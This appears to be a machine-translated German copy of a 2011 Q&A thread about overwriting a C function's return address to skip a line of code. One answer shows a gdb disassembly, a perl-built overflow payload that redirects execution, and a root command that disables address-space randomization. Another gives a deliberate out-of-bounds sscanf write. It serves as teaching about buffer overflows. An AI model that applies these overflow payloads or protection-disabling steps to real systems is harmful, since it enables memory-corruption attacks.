C-Code so ändern return-Adresse in den code?

Schrieb ich ein C-Code ist unten :

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

Können Sie bitte mir empfehlen, wie die Linie überspringen, printf("\nx 1\n");. Früher die Ahnung, was ich bekam, war zu ändern ret variable ist der return-Adresse der Funktion func.

Können Sie mir empfehlen, wie ändern Sie die return-Adresse in das obige Programm so, dass printf("\nx 1\n"); übersprungen.

Ich habe diese Frage, weil ich nicht weiß, wie man ändern Sie die return-Adresse.

Es wäre toll, wenn Ihr mir weiterhelfen.

Dank

Gefahr! Das ist wahrscheinlich nicht, was Sie tun möchten. Es wird führen, dass Sie viel zu viele Probleme.
Dein code macht keinen Sinn ... was versuchen Sie zu tun?
Außerhalb von bösartigem code, niemand braucht das zu tun, was Sie gefragt haben. Kommen Sie bitte mit einem anderen design.
Es ist nicht klar, was Sie tun möchten. Wollen Sie ein separates Programm, um dies zu tun? Reden wir über die Ausnutzung von software? Shellcode? Dies ist so gefährlich strcpy(buffer,str); `
Sind Sie versuchen, etwas ähnliches zu tun zu this?

InformationsquelleAutor Santosh V M | 2011-04-04

  1. 15

    Für das, was ich verstehe, Sie wollen, dass der code zum ausführen der Anweisung x=1; und springen Sie dann über die nächsten printf, so wird es nur drucken x is 0. Es gibt keine Möglichkeit, das zu tun.

    Jedoch, was getan werden könnte, macht func() löscht es die eigene Adresse zurück, damit der code würde geradewegs printf("\nx is 0\n\n");. Dies bedeutet einen Sprung über x=1; zu.

    Dies ist nur möglich, weil Sie Informationen senden func() was auch immer übergeben wird, über die cmd-Zeile und kopieren Sie direkt zu einer festen Größe Puffer. Wenn die Zeichenfolge, die Sie versuchen zu kopieren, die größer ist, dann den zugewiesenen Puffer übergeben wird, Sie werden wahrscheinlich am Ende korrumpiert den stack, und möglicherweise überschreiben der Funktion ist die Adresse zurück.

    Gibt es tolle Bücher wie diese eine auf das Thema, und ich empfehle Ihnen, Sie zu Lesen.

    Laden Sie die Anwendung auf gdb und Demontage der main-Funktion, werden Sie sehen, etwas ähnliches wie das hier:

    (gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     //obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      //x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    //pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> //1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    //pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> //2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

    Ist es wichtig, dass Sie bemerken, dass die Vorbereitung für die 2. printf Aufruf beginnt bei der Adresse 0x08048449. Um das überschreiben der ursprünglichen Absenderadresse func() und machen Sie es springen zu 0x08048449 haben, müssen Sie schreiben über die Kapazität char buffer[24];. Auf diesen test habe ich verwendet char buffer[6]; für Einfachheit Zwecke.

    Während in gdb, wenn ich ausführen:

    run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

    dies wird erfolgreich überschreiben des Puffers und ersetzen Sie die Adresse der Rückkehr mit der Adresse will ich es wechseln zu:

    Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

    Werde ich nicht erklären, jeden Schritt des Weges, denn andere haben es getan, so vieles schon besser, aber wenn Sie möchten, um dieses Verhalten zu reproduzieren, die direkt aus der cmd-Zeile, könnte man z.B. Folgendes ausführen:

    ./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

    Beachten Sie, dass die Speicher-Adressen, die gdb berichtet, Sie wird wahrscheinlich anders sein als die, die ich bekam.

    Hinweis: für diese Technik Arbeit, die Sie haben zu deaktivieren kernel-Schutz ersten. Aber nur, wenn Sie den Befehl unten Berichte etwas anders aus, 0:

    cat /proc/sys/kernel/randomize_va_space

    zu deaktivieren, benötigen Sie superuser-Zugriff:

    echo 0 > /proc/sys/kernel/randomize_va_space
    Aktualisierte Antwort.
    Können Sie erklären, wie Sie schrieb das folgende: print "123456AAAAAAAA"x1"\x49\x84\x04\x08"

    InformationsquelleAutor karlphillip

  2. 2

    Die Adresse zurück, von func auf dem Stapel, direkt in der Nähe dessen lokale Variablen (eine davon ist buffer). Wenn Sie möchten, dass die Rücksprungadresse zu überschreiben, schreiben Sie hinter das Ende des Arrays (möglicherweise buffer[24...27] aber hab ich mich wohl geirrt - konnte buffer[28...31] oder sogar buffer[24...31] wenn Sie eine 64-bit-system). Ich schlage vor, mit einem debugger finden Sie die genauen Adressen.

    BTW loszuwerden, die ret variable - Sie erreichen nichts, indem er es um, und es verwirren könnte Ihre Berechnungen.

    Beachten Sie, dass diese "buffer overrun exploit" ist ein bisschen schwer zu Debuggen, da strcpy beendet den Kopiervorgang Zeug wenn es auf einem null-byte, und die Adresse, die Sie möchten, schreiben Sie an die stack enthält wahrscheinlich wie ein byte. Es wird leichter sein, es zu tun mögen dieses:

    void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); //replace the 24 by 28, 32 or whatever is right
}

    Und geben Sie die Adresse über die Kommandozeile als hexadezimal-string. Dies macht es ein bisschen mehr klar, was Sie zu tun versuchen, einfacher zu Debuggen.

    InformationsquelleAutor anatolyg

  3. -3

    Dies ist nicht möglich - es wäre möglich, wenn man weiß, die compiler und wie es funktioniert, den generierten assembler-code, der verwendeten Bibliotheken, die Architektur, die cpu, die system-Umgebung und die lotto-zahlen von morgen - und wenn Sie hatte dieses wissen, würden Sie klug genug, nicht zu Fragen. Das einzige Szenario wo es Sinn machen würde, ist, wenn jemand versucht, eine Art von Angriff, und nicht erwarten, dass jemand bereit ist, Ihnen zu helfen.

    Ich denke, es ist wichtig zu verstehen, wie Pufferüberläufe Arbeit, vor allem, wenn Sie das Programm in C, so ist die gegenseitige Hilfe, ist wichtig!
    Ich musste es nachschlagen, aber es scheint, dass der Allgemeine Konsens ist, dass black-hat-Fragen sind okay. Es ist unmöglich, sich zu etablieren Absicht, so einfach davon ausgehen Sicherheitslücke Fragen haben defensive Zwecke hinter Ihnen. Siehe: hier und hier.
    Vielleicht, vielleicht auch nicht diese Ergebnisse im Puffer Pufferüberlauf, dies hängt stark auf die verwendete Architektur - stellen Sie sich vor Harvard-Architekturen oder neuen stack smash protection-Mechanismus, der compiler könnte inline-es (oder omptimize es komplett Weg), so viel possiblites, so sensless Frage. In meinen Augen, wenn er etwas wissen wollen über buffer overruns, sollte er Fragen dazu.
    Einige uns versuchen zu verstehen, wie das funktioniert, um tatsächlich Fehler zu beheben. Nicht jeder ist böse.

    InformationsquelleAutor flolo

Schreibe einen Kommentar